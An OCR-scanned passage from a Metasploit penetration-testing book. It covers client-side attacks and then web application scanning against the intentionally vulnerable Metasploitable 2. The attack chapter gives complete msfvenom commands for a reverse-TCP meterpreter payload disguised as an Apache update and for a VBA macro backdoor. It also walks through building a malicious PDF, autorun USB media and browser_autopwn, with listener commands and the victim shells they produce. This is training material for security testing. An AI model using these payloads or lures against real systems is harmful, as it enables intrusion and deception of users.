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e List platforms: While we generate a payload, we also need to instruct the
ms fvenom utility about what platform is our payload going to run on. We can use
the msfvenom --help-platforms ;command to list all the supported platforms:

root@kali: ~ e ® O

File Edit View Search Terminal Help

:~# msfvenom --help-platforms
Platforms
aix, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux, mainframe, netbsd, netware, nod

ejs, openbsd, osx, php, python, ruby, solaris, unix, windows
~#

Generating a payload with msfvenom

Now that we are familiar with what all payloads, encoders, formats, and platforms the
ms fvenom utility supports, let's try generating a sample payload as shown in the following
screenshot:

root@kali: ~ o ® O
File Edit View Search Terminal Help
:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.44.134 LPORT=8080fg
-e x86/shikata_ga nai -T exe -o /root/Desktop/apache-update.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga_nai succeeded with size 360 (iteration=8)

x86/shikat _nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: froit/Desktop!apache-update.e'x.e
1~

The following table shows a detailed explanation for each of the command switches used in
the preceding ms fvenom command:

Switch Explanation

-a x86 Here, the generated payload will run on x86
architecture

--platform windows Here, the generated payload is targeted for

the Windows platform

-p windows/meterpreter/reverse_tcp |Here, the payload is the meterpreter with a
reverse TCP

LHOST= 192.168.44.134 Here, the IP address of the attacker's system is
192.168.44.134
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LPORT= 8080 Here, the port number to listen on the
attacker's system is 8080

-e x86/shikata_ga_nai Here, the payload encoder to be used is
shikata_ga_nai

-f exe Here, the output format for the payload is exe

-o /root/Desktop/apache-update.exe |This is the path where the generated payload
would be saved

Once we have generated a payload, we need to setup a listener, which would accept reverse
connections once the payload gets executed on our target system. The following command
will start a meterpreter listener on the IP address 192.168.44.134 on port 8080:

msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 8080;
run; exit -y"

root@kali: ~ e ® 0

File Edit View Search Terminal Hel
=[ meta t v4.12 d
-- 1577 exploits - iliary - 272 post
-- - 455 payloads - 39 encoders - 8 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

PAYLOAD => windows/meterpreter/reverse_tcp

LHOST => 192.168.44.134

LPORT => 8080

[*] Started reverse TCP handler on 192.168.44.134:8080
i-“] Starting the payload handler...

Now, we have sent the payload disguised as an Apache update to our victim. The victim
needs to execute it in order to complete the exploit:
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ey EEX
Fle Edt Wew Favortes Tods Help "
= ) search Folders | [T2E]
Address |2 CDocuments and Settingsishareuser|Desktop|temp M= ES
File and Folder Tasks )

] Rename this file

[ Move this file

) Copy this file

&8 Publish this file to the Web
() E-meil this Fie

¥ Delete this file

Other Places 2

(B} Desktop

() My Documents

[ Shared Documents
i My Computer

& iy Network Places

Details

As soon as the victim executes the ;apache-update.exe ;file, we get an active meterpreter
session back on the listener we setup earlier (as shown in the following screenshot):

root@kali; ~ e ® 9
File Edit View Search Terminal Help
> windows/meterpreter/reverse_tcp
192.168.44.134

[*] Started reverse TCP handler on 192.168.44.134:8080

[*] Starting the payload handler...

[*] Sending stage (957999 bytes) to 192.168.44.129

[*] Meterpreter session 1 opened (192.168.44.134:8080 -> 192.168.44.129:1040) at 2017-05-10 23:27:30 -0400

meterpreter > sysinfo

r ¢ SAGAR-C51B4AADE

: Windows XP (Build 2600, Service Pack 3).

Architecture : %86
System Language : en_US
Domain ¢ MSHOME
Logged On Users : 2
Meterpreter t %86/win32
meterpreter > i
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Another interesting payload format is VBA. The payload generated in VBA format, as
shown in the following screenshot, can be embedded in a macro in any Word/Excel
document:

root@kali: ~ @ ® 0

File Edit View Search Terminal Help
:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse tcp LHO5T=192.168.44.134 LPORT=8080g
-e xB6/shikata ga nai - vba -o /root/Desktop/office-backdoor
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata ga nal succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360

Payload size: 360 bytes

Final size of vba file: 2896 bytes

Saved as: /root/Desktop/office-backdoor
:~# 1s -1 /root/Desktop/office-backdoor

-rw-r--r-- 1 ioot root 2896 May 10 23:14 /root/Desktop/office-backdoor
:~#

Social Engineering with Metasploit

Social engineering is an art of manipulating human behavior in order to bypass the security
controls of the target system. Let's take the example of an organization, which follows very
stringent security practices. All the systems are hardened and patched. The latest security
software is deployed. Technically, it's very difficult for an attacker to find and exploit any
vulnerability. However, the attacker somehow manages to befriend the network
administrator of that organization and then tricks him to reveal the admin credentials. This
is a classic example where humans are always the weakest link in the security chain.

Kali Linux, by default, has a powerful social engineering tool, which seamlessly integrates
with Metasploit to launch targeted attacks. In Kali Linux, the Social-Engineering Toolkit is
located under ;Exploitation Tools | ;Social Engineering Toolkit.

Generating malicious PDF

Open the Social Engineering Toolkit and select the first option Spear-Phishing Attack
Vectors, as shown in the following screenshot. ; Then select the second option Create a File
Format Payload:

[112]



Client-side Attacks with Metasploit Chapter 7

Terminal e ® 0
File Edit View Search Terminal Help

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors

10) SMS Spoofing Attack Vector

11) Third Party Modules

99) Return back to the main menu.
> 1

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat mal us
payloads. If you want to spoof your email address, be sure "Sendmail" is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=0FF
flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy
1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
99) Return to Main Menu

>2

Now, select option 14 to use the ;Adobe util.printf () Buffer Overflow exploit:

Terminal [ IO ]

File Edit View Search Terminal Help

Select the file format exploit you want.
The default is the PDF embedded EXE.

kkkkkkkokk PAYLOADS Hokkddokk ko

SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
SET Custom Written Document UNC LM SMB Capture Attack
MS15-100 Microsoft Windows Media Center MCL Vulnerability
M514-017 Microsoft Word RTF Object Confusion (2014-04-61)
Microsoft Windows CreateSizedDIBSECTION Stack Buffer Qverflow
Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-887)
Adobe Flash Player "Button" Remote Code Execution

Adobe CoolType SING Table "uniqueName" Overflow

Adobe Flash Player "newfunction" Invalid Pointer Use
Adobe Collab.collectEmailInfo Buffer Overflow

Adobe Collab.getIcon Buffer Overflow

Adobe JBIG2Decode Memory Corruption Exploit

Adobe PDF Embedded EXE Social Engineering

Adobe util.printf() Buffer Overflow

Custom EXE to VBA (sent via RAR) (RAR required)

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
Adobe PDF Embedded EXE Social Engineering (NOJS)

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
Apple QuickTime PICT PnSize Buffer Overflow

Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
Adobe Reader u3D Memory Corruption Vulnerability
MSCOMCTL ActiveX Buffer Overflow (msl2-827)

>14
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Select option 1 to use Windows Reverse TCP Shell as the payload for our exploit. Then, set
the IP address of the attacker's machine using the LHOST variable (in this case, it's
192.168.44.134) and the port to listen on (in this case, 443):

Terminal (- O <]
File Edit View Search Terminal Help

Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker

Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on victim and send back to attacker
) Windows Reverse VNC DLL Spawn a VYNC server on victim and send back to attacker

Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline

Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64), Meterpreter

Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on remote system
) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

- >1

> IP address for the payload listener (LHOST): 192.168.44.134
: > Port to connect back on [443]:443

Generating fileformat exploit...

Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes

Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Waiting for payload generation to complete (be patient, takes
Payload creation complete.

All payloads get sent to the template.pdf directory

The PDF file got generated in the directory /root/.set/. Now we need to send it to our
victim using any of the available communication mediums. Meanwhile, we also need to
start a listener, which will accept the reverse meterpreter connection from our target. We
can start a listener using the following command:

msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 443;
run; exit -y"
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On the other end, our victim received the PDF file and tried to open it using Adobe Reader.
The Adobe Reader crashed; however, there's no sign that would indicate the victim of a
compromise:

-

Tistart | e enplete S—— " [ untitled - Paint

Back on the listener end (on the attacker's system), we have got a new meterpreter shell! We
can see this in following screenshot:

root@kali: ~/.set e ® 6
File Edit View Search Terminal Help

PAYLO windows/meterpreter/reverse_tcp

LHOST 192.168.44.134

LPORT 443

[*] Started reverse TCP handler on 192.168.44.134:443

[*] Starting the payload handler...

[*] Sending stage (957999 bytes) to 192.168.44.129

[*] Meterpreter session 1 opened (192.168.44.134:443 -> 192.168.44.129:1143) at 2017-05-12 01:12:32 -0400

meterpreter > sysinfo

Computer : SAGAR-C51B4AADE

0sS : Windows XP (Build 2600, Service Pack 3)
Architecture

System Language : |

Domain : MSHOME

Logged On Users : 2

Meterprete : xB6/win32
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Creating infectious media drives

Open the Social Engineering Toolkit and from the main menu, select option 3 Infectious
Media Generator as shown in the following screenshot. Then, select option 2 to create a
Standard Metasploit Executable:

Terminal e ® 6

File Edit View Search Terminal Help
Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

SMS Spoofing Attack Vector
Third Party Modules

Return back to the main menu.

The Infectious USB/CD/DVD module will create an autorun.inf file and a
Metasploit payload. When the DVD/USB/CD is inserted, it will automatically
run if autorun is enabled.

Pick the attack vector you wish to use: fileformat bugs or a straight executabl
e.

1) File-Format Exploits
2) Standard Metasploit Executable

99) Return to Main Menu

=21
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Now, select option 1 to use Windows Shell Reverse TCP as the payload for our exploit.
Then, set the IP address in the LHOST variable and port to listen on:

Terminal e ® O
File Edit View Search Terminal Help
1) File-Format Exploits
2) Standard Metasploit Executable
99) Return to Main Menu

>2

Windows Shell Reverse TCP Spawn a command shell on victim and send back to attacker
Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker
Windows Reverse TCP VNC DLL Spawn a VNC server on victim and send back to attacker

) Windows Shell Reverse TCP X64 Windows X64 Command Shell, Reverse TCP Inline
Windows Meterpreter Reverse TCP X64 Connect back to the attacker (Windows x64), Meterpreter

Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports
Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and use Reverse Meterpreter
Download/Run your Own Executable Downloads an executable and runs it

>1
> IP address for the payload listener (LHOST):192.168.44.134
- > Enter the PORT for the reverse listener:8181
[*] Generating the payload.. please be patient.
[*] Payload has been exported to the default SET directory located under: /root/.set//payload.exe
[*] Your attack has been created in the SET home directory (/root/.set/) folder 'autorun'
[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if needed.
[-] Copy the contents of the folder to a CD/DVD/USB to autorun

The Social Engineering Toolkit will generate a folder called autorun located at
/root/.set/. This folder can be copied to the USB Flash Drive or CD/DVD ROM's to
distribute it to our victim. Meanwhile, we would also need to set up a listener (as shown in
the earlier section) and then wait for our victim to insert the infected media into his system.

Browser Autopwn

Another interesting auxiliary module for performing client-side attacks is the
browser_autopwn. This auxiliary module works in the following sequence:

1. The attacker executes the browser_autopwn auxiliary module.

2. A web server is initiated (on the attacker's system), which hosts a payload. The
payload is accessible over a specific URL.

3. The attacker sends the specially generated URL to his victim.

4. The victim tries to open the URL, which is when the payload gets downloaded on
his system.

5. If the victim's browser is vulnerable, the exploit is successful and the attacker gets
a meterpreter shell.
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From the msfconsole, select the browser_autopwn module using the use
auxiliary/server/browser_autopwn ;command as shown in the following screenshot.
Then, configure the value of the LHOST variable and run the auxiliary module:

root@kali: ~ e ® O
File Edit View Search Terminal Help

msf > use auxiliary/server/browser_autopwn
msf auxiliary( ) > show options

Module options (auxiliary/server/browser_autopwn)

Name Current Setting Required Description

LHOST The IP address to use for reverse-connect payloads

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.9
SRVPORT The local port to listen on

S5L Negotiate SSL for incoming connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

URIPATH The URI to use for this exploit (default is random)

Auxiliary action:
Name De ption
WebServer Start a bunch of modules and direct clients to appropriate exploits
msf auxiliar

y(
LHOST => 192.168.44.134
msf auxiliary( N |

) > set LHOST 192.168.44.134

Running the auxiliary module will create many different instances of exploit/payload
combinations as the victim might be using any kind of browser:

root@kali: ~ (O -]

File Edit View Search Terminal Help
auxiliary(
Auxiliary module execution completed

Setup
msf auxiliary( ) > [*] Starting exploit android/browser/webview_addjavascriptinterface with payload android/meterpreter/reverse_tc

Starting exploit modules on host 192.168.44.134
] aaas

Using URL: http://0.0.0.0:8080/dAekbxFDCxrG
Local IP: http://192.168.44.134:8080/dAekbxFDCxrG
Server started.
Starting exploit android/browser/webview addjavascriptinterface with payload android/meterpreter/reverse_ tcp
Using URL: http://0.0.0.0:8080/1uTIWsISaMRvF
Local IP: http://192.168.44.134:8080/1uTIWsISaMRvF
Server started.
Starting exploit multi/browser/firefox_proto_crmfrequest with payload generic/shell_reverse_tcp
Using URL: http://0.0.0.0:8080/zohIsz
Local IP: http://192.168.44.134:8080/zohIsz
Server started.
Starting exploit multi/browser/firefox_proto_crmfrequest with payload generic/shell_reverse_tcp
Using URL: http://0.0.0.0:8080/ZqoMCDpvfth
Local IP: http://192.168.44.134:8080/ZqoMCDpvTth
Server started
Starting exploit multi/browser/firefox tostring console_injection with payload generic/shell_reverse tcp
Using URL: http://0.0.0.0:8080/GnXuuhF
1 Local IP: http://192.168.44.134:8080/GnXuuhF
Server started.
Starting exploit multi/browser/firefox_tostring console_injection with payload generic/shell_reverse tcp
Using URL: http://0.0.0.0:8080/QgcrsC
Local IP: http://192.168.44.134:8080/QgcrsC
Server started.
Starting exploit multi/browser/firefox_webidl injection with payload generic/shell_reverse tcp
Using URL: http://0.0.0.0:8880/xEWajhz
Local IP: http://192.168.44.134:8080/xEWajhz
Server started.
Starting exploit multi/browser/firefox_webidl_injection with payload generic/shell_reverse_tcp
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On the target system, our victim opened up an Internet Explorer and tried to hit the
malicious URL http://192.168.44.134:8080 (that we setup using the
browser_autopwn auxiliary module):

- — -
<l Loading - Microsoft Internet Explorer, |-_|rg|
File Edit ‘iew Favorites Tools Help ';,'
e Back ~ \_/I Iﬂ Iﬁ ‘ ;\_| /__ ) search Hj‘\'( Favarites ﬁ‘} [_': - ; :’i
address @ http:}/192.168.44.134: 5080/ v| Go | Links *
I@ Done & Internet
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Back on our Metasploit system, we got a meterpreter shell as soon as our victim opened the
specially crafted URL:

root@kali: ~ e ® 0

File Edit View Search Terminal Help
handling request /01yBOHqGZT/
handling request /wazdTYykQgL/
Sending jar
handling request r /QZhjP/oTPzt110. jar
Sending jar
handling request r /QZhjP/oTPzt110.jar
Sending jar
handling request for /0l1yBOHqGZT/JjEITKKyW.jar
handling request for /wazdTYykQgL/SvMR.jar
Java Applet Rhino Script Engine Remote Code Execution handling request
handling request for /0lyBOHqGZT/JEITKKyW.jar
handling request for /wazdTYykQgL/SvMR.jar
Java Applet Rhino Script Engine Remote Code Execution handling request
Java Applet Rhino Script Engine Remote Code Execution handling request
Java Applet Rhino Script Engine Remote Code Execution handling request
Sending stage (46089 bytes) to 192.168.44.129
Meterpreter session 1 opened (192.168.44.134:7777 -> 192.168.44.129:1122) at 2017-05-10 01:01:40 -0400
Session ID 1 (192.168.44.134:7777 -> 192.168.44.129:1122) processing InitialAutoRunScript 'migrate -f'
background
Unknown command: background
msf auxiliary( ) > sessions -1

Id Type Information Connection

1 meterpreter java/windows shareuser @ sagar-c5lbdaade 192.168.44.134:7777 -> 102.168.44.129:1122 (192.168.44.129)
msf auxiliary( ) > sessions -1 1
[*] Starting interaction with 1

meterpreter > sysinfo

Computer : sagar-c51lbdaade

0s Windows XP 5.1 (x86)
Meterpreter : java/windows
meterpreter > |

Summary

In this chapter, we learned how to use various tools and techniques in order to launch
advanced client-side attacks and bypass the network perimeter restrictions.

In the next chapter, we'll deep dive into Metasploit's capabilities for testing the security of
web applications.

Exercises

You can try the following exercises:

¢ Get familiar with various parameters and switches of ms fvenom

¢ Explore various other social engineering techniques provided by Social
Engineering Toolkit
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Web Application Scanning with
Metasploit

In the previous chapter, we had an overview of how Metasploit can be used to launch
deceptive client-side attacks. In this chapter, you will learn various features of the
Metasploit Framework that can be used to discover vulnerabilities within web applications.
In this chapter, we will cover the following topics:

e Setting up a vulnerable web application
e Web application vulnerability scanning with WMAP
¢ Metasploit auxiliary modules for web application enumeration and scanning

Setting up a vulnerable application

Before we start exploring various web application scanning features offered by the
Metasploit Framework, we need to set up a test application environment in which we can
fire our tests. As discussed in the initial chapters, Metasploitable 2 is a Linux distribution that
is deliberately made vulnerable. It also contains web applications that are intentionally
made vulnerable, and we can leverage this to practice using Metasploit's web scanning
modules.
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In order to get the vulnerable test application up and running, simply boot into

metasploitable 2 ;Linux and access it remotely from any of the web browsers, as shown
in the following screenshot:

Metasploitable2 - Linux X |+ = X
(© 192.168.44.133 c Search wBe ¥ & O 0 =

[B) Most Visited

@pisable> L Cookies~ €35+ [JForms~ [images~ @lnformation [ Miscellaneous= #"Outline~ ¢ Resize~ XTools~ @m\View Source~ [|Options= [xXxX®]

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

¢ phpMyAdmin
* Mutillidae

o DVWA

* WebDAV

There are two different vulnerable applications that run by default on the metasploitable 2
distribution, Mutillidae and Damn Vulnerable Web Application (DVWA). The vulnerable
application can be opened for further tests, as shown in the following screenshot:

[122]




Web Application Scanning with Metasploit Chapter 8

$ hitp://192.168.44.133/ mutill X 4 - X
€ ® 192.168.44.133/mutillidae c Se
|8 Most Visited

@pisable~ & Cookies~ €SS~ [JForms~ EImages~ @nformation~ [FMiscellaneous= /Outline= ¢’ Resize= {Tools~ ElView Source~ [I]Options=

% Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed)

Home  Login/Register  Toggle Hints

Hints: Disabled (0 - | try harder)

Toggle Security  Reset DB

Not Logged In
View Log View Captured Data

Core Controls 12

OWASP Top 10 A1 - Injection

Yillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

R — =
Others A2 - Cross Site Scripting (XSS)

A3 - Broken Authentication and

Documentation Session Management

A4 - Insecure Direct Object

ns
References

AS - Cross Site Request Forgery ! PHP errors
(CSRF)

A6 - Security Misconfiguration

A7 - Insecure Cryptographic Storage!

Site AB - Failure to Restrict URL Access

| LIS W MG ITE T A9 - Insufficient Transport Layer
tested with SamuralgiiSaaiy]

urai WTF and Backtrack contains all the tools needed or you may build your own collection

=
LA =R CE A 010 - Unvalidated Redirects and =y
Firefox, Burp-Suite "=

Netcat, and these backitrack
Mozilla Add-ons

192.168.44.133/mutillidae/#

Web application scanning using WMAP

WMAP is a powerful web application vulnerability scanner available in Kali Linux. It is
integrated into the Metasploit Framework in the form of a plugin. In order to use WMAP,

we first need to load and initiate the plugin within the Metasploit framework, as shown in
the following screenshot:

root@kali: ~ e ® O
File Edit View Search Terminal Help

msf > load wmap

[WMAP 1.5.1] === et [

[*] Successfully loaded plugin: wmap
mst >

] metasploit.com 2012
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Once the wmap plugin is loaded into the Metasploit Framework, the next step is to create a
new site or workspace for our scan. Once the site has been created, we need to add the
target URL to be scanned, as shown in the following screenshot:

File Edit View Search Terminal Help

msf > load wmap

[WMAP 1.5.1]
Successfully
> wmap_sites

Site created.

et [ 1 metasploit
loaded plugin: wmap
-a 192.168.44.133

> wmap_targets -t http://192.168.44.133/mutillidae/index.php

> wmap_targets -1
Defined targets

Id Vhost Host

0 192.168.44.133 192.168.44.

|

root@kali: ~

.com 2012

Port

133 80

SSL Path

false /mutillidae/index.php

Now that we have created a new site and defined our target, we need to check which
WMAP modules would be applicable against our target. For example, if our target is not
SSL-enabled, then there's no point in running SSL-related tests against this. This can be
done using the wmap_run -t command, as shown in the following screenshot:

File Edit View Search Terminal
msf > wmap_run -t

Help

] Testing started. 2017-05-15 22:44:33 -0400
] Loading wmap modules...
] 40 wmap enabled modules loaded.

SSL testing ]=

Module
Module
Module
Module
Module
Module
Module
Module
Module
Module
Module
Module
Module
Module
Module

Y 2 2
iary/scanner/http/open_proxy
iary/admin/http/tomcat_administration

ry/admin/http/tomcat utf8 traversal
iary/scanner/http/drupal views user_enum
iary/scanner/http/frontpage login
iary/scanner/http/host_header injection
ry/scanner/http/options
iary/scanner/http/robots_txt
iary/scanner/http/scraper
ry/scanner/http/svn_scanner
ry/scanner/http/trace
iary/scanner/http/vhost_scanner
iary/scanner/http/webdav_internal ip
auxiliary/scanner/http/webdav_scanner
auxiliary/scanner/http/webdav_website content

Y P/ap: _range_(
iary/scanner/http/backup_file
iary/scanner/http/brute_dirs
iary/scanner/http/copy of file

Module
Module
Module

root@kali: ~
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Now that we have enumerated the modules that are applicable for the test against our
vulnerable application, we can proceed with the actual test execution. This can be done by

using the wmap_run -e command, as shown in the following screenshot:

File Edit View Search Terminal Help
msf > wmap_run -e
[*] Using ALL wmap enabled modules
NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[%] Site: 192.168.44.133 (192.168.44.133)
[*] Port: 80 SSL: false

[*] Testing started. 2017-85-15 22:53:06 -04600
*

1
[ SSL testing ]

[*] Target is not SSL. SSL modules disabled
[2]
[ Web Server testing ]

[*] Module auxiliary/scanner/http/http_version

[*] 192.168.44.133:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )

[*] Module aux ry/scanner/http/open_proxy

[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8 traversal
[*] Attempting to connect to 192.168.44.133:80

[+] No File(s) found

[*] Module auxiliary/scanner/http/drupal_views_user_enum

root@kali: ~

192.168.44.133 does not appear to be vulnerable, will not continue

Module auxiliary/scanner/http/frontpage_login

192.168.44.133:80 - http://192.168.44.133/ may not support FrontPage Server Extensions

Module auxiliary/scanner/http/host_header injection
Module auxiliary/scanner/http/options
Module auxiliary/scanner/http/robots_txt
[192.168.44.133] /robots.txt found
Module auxiliary/scanner/http/scraper
[192.168.44.133] / [Metasploitable2 - Linux]
Module auxiliary/scanner/http/svn_scanner
Using code '484' as not found.
Module auxiliary/scanner/http/trace

] 192.168.44.133:80 is vulnerable to Cross-Site Tracing
Module auxiliary/scanner/http/vhost_scanner

Upon successful execution of the tests on our target application, the vulnerabilities (if any
have been found) are stored on Metasploit's internal database. The vulnerabilities can then
be listed using the wmap_vulns -1 command, as shown in the following screenshot:

File Edit View Search Terminal Help
> wmap_vulns -1
+ [192.168.44.133] (192.168.44.133): scraper /

scraper Scraper
GET Metasploitable2 - Linux

[192.168.44.133] (192.168.44.133): directory /dav/
directory Directory found.
GET Res code: 200

[192.168.44.133] (192.168.44.133): directory /cgi-bin/
directory Directoy found
GET Res code: 403

[192.168.44.133] (192.168.44.133): directory /doc/
directory Directoy found
GET Res code: 200

[192.168.44.133] (192.168.44.133): directory /icons/
directory Directoy found
GET Res code: 200

[192.168.44.133] (192.168.44.133): directory /index/
directory Directoy found
GET Res code: 200

[192.168 .133] (192.168.44.133): directory /phpMyAdmin/
directory Directoy found
GET Res code: 200

[192.168.44.133] (192.168.44.133): directory /test/
directory Directoy found
GET Res code: 200

[192.168.44.133] (192.168.44.133): file /index.php
file File found
GET Res code: 200

[192.168.44.133] (192.168.44.133): file /dav
file File found.
GET Res code: 404

[192.168.44.133] (192.168.44.133): file /index
file File found
GET Res code: 200

[192.168.44.133] (192.168.44.133): file /test
file File found.
GET Res code: 301

[192.168.44.133] (192.168.44.133): file /phpMyAdmin

root@Kali: ~
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Metasploit Auxiliaries for Web Application
enumeration and scanning

We have already seen some of the auxiliary modules within the Metasploit Framework for
enumerating HTTP services in chapter 4, Information Gathering with Metasploit. Next, we'll
explore some additional auxiliary modules that can be effectively used for enumeration and

scanning web applications:

e cert: ;This module can be used to enumerate whether the certificate on the target

web application is active or expired. ;Its auxiliary module name is
auxiliary/scanner/http/cert, the use of which is shown in the following

screenshot:

root@kali: ~

File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/cert
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/cert)

Name Current Setting Required Description

ISSUER E ) Show a warning if the Issuer doesn't match this regex
RHOSTS The target address range or CIDR identifier

RPORT 443 The target port

SHOWALL false no Show all certificates (issuer,time) regardless of match
THREADS 1 yes The number of concurrent threads

auxiliary( ) > set RHOSTS demo.testfire.net
demo.testfire.net
) > run

[*] 65.61.137.117:443 - 65.61.137.117 - ‘'demo.testfire.net' : '2014-07-01 ©9:54:37 UTC' - '2019-12-22 ©9:54:37 UTC'

[*] Scanned 1 of 1 hosts (180% complete)
[*] Auxiliary module execution completed
msf auxiliary( ) >

The parameters to be configured are as follows:

e RHOSTS: ;IP address or IP range of the target to be scanned

It is also possible to run the module simultaneously on multiple targets by
specifying a file containing a list of target IP addresses, for example, set

RHOSTS /root/targets.1lst.
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e dir_scanner:;This module checks for the presence of various directories on the
target web server. These directories can reveal some interesting information such
as configuration files and database backups. ;Its auxiliary module name is
;auxiliary/scanner/http/dir_scanner jthatis used as seen in the following
screenshot: ;

root@kali: ~ @ e® 0
File Edit View Search Terminal Help
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/dir scanner):

Name Current Setting Required Description

DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt Path of word dictionary to use
PATH / yes The path to identify files
Proxies no A proxy chain of format type:host:port[,type:host:port][..

RHOSTS yes The target address range or CIDR identifier
RPORT yes The target port

SSL no Negotiate SSL/TLS for outgeing connections
THREADS yes The number of concurrent threads

VHOST no HTTP server virtual host

msf auxiliary( ) > set RHOSTS 192.168.44.133
RHOSTS => 192.168.44.133
msf auxiliary( ) > run

[*] Detecting error code

[*] Using code '404' as not found for 192.168.44.133

[*] Found http://192.168.44.133:80/cgi-bin/ 404 (192.168.44.133)
[*] Found http://192.168.44.133:80/doc/ 200 (192.168.44.133)

[*] Found http://192.168.44.133:80/1icons/ 200 (192.168.44.133)

The parameters to be configured are as follows:

e RHOSTS: ;IP address or IP range of the target to be scanned

e enum_wayback: jhttp://www.archive.org ; stores all the historical versions and
data of any given website. It is like a time machine that can show you how a
particular website looked years ago. This can be useful for target enumeration.
The enum_wayback module queries ;http://www.archive.org, to fetch the
historical versions of the target website. ;
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Its auxiliary module name is ;jauxiliary/scanner/http/enum_wayback
;that ;is used as seen in the following screenshot:

root@kali: ~ (- O]
File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/enum_wayback
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/enum wayback):

Name Current Setting Required Description

DOMAIN Domain to request URLS for
OUTFILE Where to output the list for use

msf auxiliary( ) > set DOMAIN demo.testfire.net

DOMAIN => demo.testfire.net

msf auxiliary( ) > set OUTFILE /root/Desktop/wayback.html
OUTFILE => /root/Desktop/wayback.html

msT auxiliary( ) = run

[*] Pulling urls from Archive.org

[*] Located 19 addresses for demo.testfire.net

[*] Writing URLs list to /root/Desktop/wayback.html...
[*] OUTFILE did not exist, creating..

[*] Auxiliary module execution completed

msf auxiliary(

; The parameters to be configured are as follows:

e RHOSTS: ;Target domain name whose archive is to be queried for

e files_dir: This module searches the target for the presence of any files that
might have been left on the web server unknowingly. These files include source
code, backup files, configuration files, archives, and password files. Its auxiliary
module name is ;auxiliary/scanner/http/files_dir, and the following
screenshot shows how to use it:

root@kali: ~ e ® 9
File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/files_dir
msf auxiliary( ) > show options

Module options (auxiliary/scanner/http/files dir):
Name i Required Description

Path of word dictionary to use
Append file extension to use
PATH / The path to identify files
Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS The target address range or CIDR identifier
RPORT The target port
SSL Negotiate SSL/TLS for ocutgoing connections
THREADS The number of concurrent threads
VHOST HTTP server virtual host

st auxiliary( ) > set RHOSTS 192.168.44.
4.133

) > run

Using code not found for files with extension .
Using code not found for files with extension

Using code ' 3 not found for files with extension .
Using code not found for files with extension

Using code ' ¢ not found for files with extension .
Using code '4 not found for files with extension .
Using code not found for files with extension .
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The parameters to be configured are as follows:

e RHOSTS: ;IP address or IP range of the target to be scanned

